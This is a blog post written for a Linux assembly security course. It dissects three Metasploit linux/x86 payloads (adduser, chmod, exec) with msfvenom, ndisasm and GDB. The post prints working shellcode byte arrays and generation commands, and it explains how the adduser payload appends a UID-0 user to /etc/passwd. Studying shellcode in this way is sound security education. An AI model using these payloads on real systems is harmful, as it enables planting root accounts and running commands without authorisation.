Friday, November 30, 2018

SLAE - Assignment 5 - MSF Payloads

  • Take up at least 3 shellcode samples created using msfpayload for linux/x86
  • Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
  • Present your analysis

Since msfpayload no longer exists, weĺl be using msfvenom for the payload extraction.

Create list of payloads that comply with the requirements:
msfvenom --list payloads | grep "linux/x86"

There are many payloads available. Lets just select the first three as an example:
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command


(A) linux/x86/adduser 
sudo msfvenom -p linux/x86/adduser --list-options
Next we want to extract the shellcode:
Actually, what we want to do is pipe this output to ndisasm, so we can see the assembly instructions:

root@slae:/home/nelis/libemu/libemu/tools/sctest# sudo msfvenom -p linux/x86/adduser R | ndisasm -u -

To analyze this output we chunk it into pieces per syscall.


 nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 70
#define __NR_setreuid 70

man setreuid:
int setreuid(uid_t ruid, uid_t euid);
eax = setreudid
ebx = 0x0
ecx = 0x0

This function sets the real and effective user id of the calling process (which is the payload) to zero, which is root



 nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 5
#define __NR_open 5

dword translation:
>>> code = "64777373"
>>> code2 = "61702f2f"
>>> code3 = "6374652f"
>>> code.decode("hex")
'dwss'
>>> code2.decode("hex")
'ap//'
>>> code3.decode("hex")
'cte/'

So, /etc//passwd0x0 in reverse order is pushed on the stack here. Note the additional (/) which is to cause data to be divided in chunks of 4 bytes. The extra (/) has no effect on the operation of the payload.

man 2 open:
int open(const char *pathname, int flags);

Then 0x4 is moved into ch, which will cause the ecx register to change to 0x401
figured that would be the O_WRONLY | O_APPEND. Lets check
It is good to note that this starts with the return code of the previous function that was entered into eax. It is now changed with ebx and thus saved fow now.

The assembly code here does not make sense at this time. For analyzing this function we open the program in GDB.
We put the shellcode in the c shellcode file:
compile it:
run in gdb:
We set a breakpoint just before making the 0x80 syscall on 0x0804a09a in code () and view the registers.
man 2 write:

ssize_t write(int fd, const void *buf, size_t count);
eax = 0x4 = sys_write
ebx = 0x7 = the file descriptor to /etc//passwd
ecx = the content to write "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X"

So, however the plain assembly code was not completely clear to me, some debugging with GDB revealed the purpose of this function

Leaving us with the last function, being the exit function.
Which in fact still is the file descriptor. Would have expected to end up with mov ebx, 0x0 to end up with exit code 0, but that's not the case (most likely to keep the payload as small as possible.


(B) linux/x86/chmod
sudo msfvenom -p linux/x86/chmod --list-options


Since i dont want to test with the default setting (and change mod of /etc/shadow to 666) i use a custom file (chmodtestfile) to test on

root@slae:/home/nelis/SLAE/assignment5# sudo msfvenom -p linux/x86/chmod -f c FILE=chmodtestfile -o chmodshellcode


root@slae:/home/nelis/SLAE/assignment5# cat chmodshellcode
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0e\x00\x00\x00\x63\x68\x6d\x6f\x64"
"\x74\x65\x73\x74\x66\x69\x6c\x65\x00\x5b\x68\xb6\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";

Not sure how this works. Discovered a lot of null bytes in here. Lets see what it does.

root@slae:/home/nelis/SLAE/assignment5# sudo gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@slae:/home/nelis/SLAE/assignment5# ls -al
total 36
drwxr-xr-x 2 nelis nelis 4096 Nov 23 14:46 .
drwxrwxr-x 18 nelis nelis 4096 Nov 22 21:52 ..
-rw-r--r-- 1 nelis nelis 410 Nov 22 21:53 adduser
-rw-r--r-- 1 root root 154 Nov 23 14:32 chmod
-rw-r--r-- 1 root root 185 Nov 23 14:43 chmodshellcode
---------- 1 root root 18 Nov 23 14:40 chmodtestfile
-rwxr-xr-x 1 root root 7498 Nov 23 14:46 shellcode
-rw-r--r-- 1 nelis nelis 338 Nov 23 14:45 shellcode.c
root@slae:/home/nelis/SLAE/assignment5# ./shellcode
Payload shellcode Lenght: 7
root@slae:/home/nelis/SLAE/assignment5# ls -al
total 36
drwxr-xr-x 2 nelis nelis 4096 Nov 23 14:46 .
drwxrwxr-x 18 nelis nelis 4096 Nov 22 21:52 ..
-rw-r--r-- 1 nelis nelis 410 Nov 22 21:53 adduser
-rw-r--r-- 1 root root 154 Nov 23 14:32 chmod
-rw-r--r-- 1 root root 185 Nov 23 14:43 chmodshellcode
-rw-rw-rw- 1 root root 18 Nov 23 14:40 chmodtestfile
-rwxr-xr-x 1 root root 7498 Nov 23 14:46 shellcode
-rw-r--r-- 1 nelis nelis 338 Nov 23 14:45 shellcode.c

Note that however the counting of the bytes stops when the first null byte was reached, execution of flow progressed and the actual chmod did happen.

Lets analyze this program using ndisasm and GDB:

root@slae:/home/nelis/SLAE/assignment5# sudo msfvenom -p linux/x86/chmod FILE=chmodtestfile R | ndisasm -u -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes




 Going through this using GDB
Since this is a chmod shellcode I have looked syscall en syntax of the chmod syscall:
nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep chmod
#define __NR_chmod 15
Great, that is nr 15, which equals to 0xf that is placed inside eax in the second instruction

man 2 chmod:
int chmod(const char *path, mode_t mode);
We would expect the function te be set up as follows:
eax = function nr = 0xf (=15)
ebx = path to the file: chmodtestfile
ecx = code = 0x1b6 (=666 octal)

Lets view the registers just before the syscall interrupt. In order to view those registers we insert breakpoint at 0x0804a05f <+31>: int 0x80

(gdb) break *0x0804a05f
Breakpoint 3 at 0x804a05f
(gdb) c
Continuing.
Note that 0xf = 15 decimal, which is the chmod syscall nr and that 0x1b6 = 0666 decimal that is the mode number we want to change to.
Its seems the registers are setup as expected

Lets stepi and see whats happening to the file:

What we see here is the change execution of the chmod 666 instruction on chmodtestfile. before the interrupt the mode bits are set to 000 (----------), after the stepi, we clearly see the 666 (-rw-rw-rw-)settings for the chmodtestfile.

All that remains is the exit function (1) that is being pushed to the stack and popped to eax before the syscall is being made.

 (C) linux/x86/exec
 
sudo msfvenom -p linux/x86/exec --list-options

Lets see if it works as expected: Based in the CMD I would expect that after running this a file /tmp/test with the content "nelis" would exist:

nelis@slae:~/SLAE/assignment5$ msfvenom -p linux/x86/exec -f c CMD="whoami > /tmp/test" -o execshellcode
Found a database at /home/nelis/.msf4/db, checking to see if it is started
Starting database at /home/nelis/.msf4/db...success
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 54 bytes
Final size of c file: 252 bytes
Saved as: execshellcode

nelis@slae:~/SLAE/assignment5$ cat execshellcode
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x74\x65"
"\x73\x74\x00\x57\x53\x89\xe1\xcd\x80";
nelis@slae:~/SLAE/assignment5$

Put this shellcode in the shellcode running app:

compile using gcc:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

nelis@slae:~/SLAE/assignment5$ ./shellcode && cat /tmp/test
Payload shellcode Lenght: 15
nelis

Verify with sudo:

nelis@slae:~/SLAE/assignment5$ sudo ./shellcode && cat /tmp/test
Payload shellcode Lenght: 15
root

Seems to be working as expected. Note that the byte counter stops when reaching its first null byte, but that the execution continues as expected.

Lets analyze this with GDB


push 0xb
(=11) on the stack. This is the execve syscall:
nelis@slae:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 11

pushw 0x632d
>>> "632d".decode("hex")
'c-'

push 0x68732f
>>> "68732f".decode("hex")
'hs/'

push 0x6e69622f
>>> "6e69622f".decode("hex")
'nib/'

We set a break in the call function. Remember that a call function will push the address of the next instruction to the stack as a return address.
At the moment esp is empty, but after the stepi it should contain address of next function:
So lets see what is in that address:
We set a break point just before the syscall interrupt takes place and verify the registers:

eax = 11 which is the syscall execve
ebx = "/bin/sh"

(gdb) x/4w $ecx
0xbffff25e: 0xbffff26e 0xbffff276 0x0804a05d 0x00000000

(gdb) x/s 0xbffff26e
0xbffff26e: "/bin/sh"
(gdb) x/s 0xbffff276
0xbffff276: "-c"
(gdb) x/s 0x804a05d
0x804a05d <code+29>: "whoami > /tmp/test"

So with the final 0x80 the syscall is made and the output is written to /tmp/test

No comments:

Post a Comment